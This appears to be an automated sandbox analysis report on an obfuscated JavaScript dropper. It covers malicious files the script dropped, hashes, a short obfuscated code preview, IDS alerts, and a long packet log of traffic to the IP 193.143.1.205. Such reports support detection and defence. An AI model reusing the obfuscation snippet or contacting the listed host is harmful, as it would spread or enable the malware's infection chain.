SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18356), with CRLF line terminators
Entropy (8bit):	4.90879686206936
TrID:
File name:	1434827995831320526.js
File size:	21'854 bytes
MD5:	b8894875661b63a9aae0d1fe46bc48df
SHA1:	5f329815484fc8be0b9e479e480a09bee0fdbbbe
SHA256:	68013d56e0fa5421bcd944950ee755a7488df5a6f3ef2f7aa68c706d2ddbc0fb
SHA512:	e750d90812bb4646aee33382ebd5df747cb5bb77054e8aa3778c045f10e10732fe69777af48fff5591267138d783a003b5e9cb4b9a86c726726236bfe8f907ce
SSDEEP:	384:dNP1JeG28aKgGQnBI3xU3gA8ikn9ebbdZ7Ju8Q/u:PPHeVjKY8iNPdn
TLSH:	17A255C5E886A21798F0CCD952C748E105F021DE5D81BCDFAE8835A40BBABB52BD91F5
File Content Preview:	function bvqbka(){bgrjwub=[1031,3079,5127,4103,2055,3072];var dakvrr=this[bbrrcnxd+izystcq+cnnqbpccn+gebmft+zjhniht+arxwoad+qanylmkaj+fsqspupi](this[rvyoo+jarcjj+yxbap+cnnqbpccn+cdslbwd+bbrrcnxd+fsqspupi][xztfg+cnnqbpccn+zjhniht+izystcq+fsqspupi+zjhniht+d

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:05:23.040930+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T20:05:25.576989+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:05:22.253346920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:22.258421898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:22.258588076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:22.261909008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:22.266937017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.040764093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.040795088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.040806055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.040812016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.040817976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.040822983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.040836096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.040842056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.040855885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.040868044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.040930033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.040982962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.088597059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.088617086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.088638067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.088646889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.088736057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.088784933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.163676023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.163696051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.163707972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.163722038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.163737059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.163748026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.163793087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.164057016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.164068937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.164083004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.164093971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.164096117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.164108038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.164134026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.164160013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.164921999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.164935112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.164947987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.164961100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.164968014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.165000916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.165558100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.165570021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.165581942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.165592909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.165606022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.165607929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.165649891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.175896883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.175970078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.209470987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.209486008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.209511042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.209522009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.209573984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.209595919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.209606886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.209609985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.209656000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.251219034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.251235008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.251291990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.285964012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.285981894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.286000967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.286012888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.286081076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.286108017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.286362886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.286375046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.286386967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.286413908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.286457062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.286472082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.286482096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.286494017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.286505938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.286540985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.287065983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.287082911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.287095070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.287108898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.287138939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.287281990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.287333012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.287345886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.287358046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.287369967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.287373066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.287394047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.287942886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.287955046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.287965059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.287976027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.287986994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.287987947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.288000107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.288011074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.288021088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.288043022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.288789034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.288801908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.288811922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.288825989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.288837910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.288840055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.288850069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.288862944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.288867950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.288886070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.289676905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.289695978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.289709091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.289716005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.289725065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.289736986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.289747953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.289748907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.289777040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.296884060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.296896935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.296941996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.330729008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.330749035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.330768108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.330779076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.330792904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.330842018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.330928087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.338520050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.338577986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.338587046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.338596106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.338627100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.338628054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.338641882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.338654041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.338654995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.338696957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.373519897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.373538971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.373613119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.408432961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.408449888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.408468962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.408478975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.408535957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.408576012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.408663034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.408674002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.408703089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.408783913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.408795118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.408807039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.408818007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.408830881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.408864975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.409189939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.409203053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.409234047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.409251928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.409270048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.409282923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.409291983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.409320116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.409486055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.409497976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.409509897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.409533024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.409543991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.409550905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.409559011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.409570932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.409588099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.409610987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.410217047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.410229921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.410240889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.410250902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.410262108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.410263062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.410278082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.410289049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.410296917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.410300970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.410314083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.410325050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.410331964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.410335064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.410353899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.410361052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.410379887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.410953045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.411020994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.411073923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.411094904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.411106110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.411115885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.411130905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.411135912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.411148071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.411159992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.411164999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.411170959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.411181927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.411185026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.411194086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.411206007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.411230087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.411320925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.412010908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412035942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412048101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412054062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.412060022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412072897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412084103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412087917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.412096024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412107944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412121058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412128925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.412132978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412146091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412149906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.412159920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412170887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.412193060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.412883997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412909031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412920952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412930965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.412935019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.412965059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.418104887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.418121099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.418143988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.418154955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.418157101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.418168068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.418179989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.418193102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.418204069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.418231964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.418391943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.418402910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.418415070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.418426037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.418456078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.418482065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.426037073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.426053047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.426071882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.426083088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.426090956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.426095963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.426110983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.426125050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.426146030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.426181078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.426193953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.426237106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.429073095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.429101944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.452081919 CET	80	49730	193.143.1.205	192.168.2.4
